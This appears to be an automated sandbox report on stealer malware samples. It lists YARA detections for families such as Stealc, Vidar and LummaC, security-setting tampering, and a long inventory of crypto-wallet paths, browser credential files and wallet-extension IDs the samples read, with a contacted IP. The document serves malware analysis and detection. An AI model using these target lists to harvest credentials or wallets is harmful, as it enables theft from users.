Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: Amcache.hve.45.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: 5467ed4ac5.exe, 00000035.00000003.2574356937.0000000005902000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2574183813.00000000009A7000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2574638259.0000000005904000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.45.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 20.2.KKEBKJJDGH.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.1847372452.0000000000841000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.1806619451.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1866440800.00000000005C1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.1871208424.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1825827448.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 5467ed4ac5.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Nymaim

Source: Yara match	File source: 51.3.bc330fc673.exe.4ef0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000033.00000003.2195840228.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1811763144.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1812862722.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1283432588.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 9140, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 9140, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1811763144.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16thur\AppData\Roaming\Electrum-LTC\wallets\.ml
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: ogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: ogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: ogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: ogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.1811763144.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16thur\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: ogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: ogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1811763144.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16thur\AppData\Roaming\Electrum-LTC\wallets\.ml

Leaks process information

Source: global traffic

TCP traffic: 192.168.11.20:49770 -> 34.159.64.221:80

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
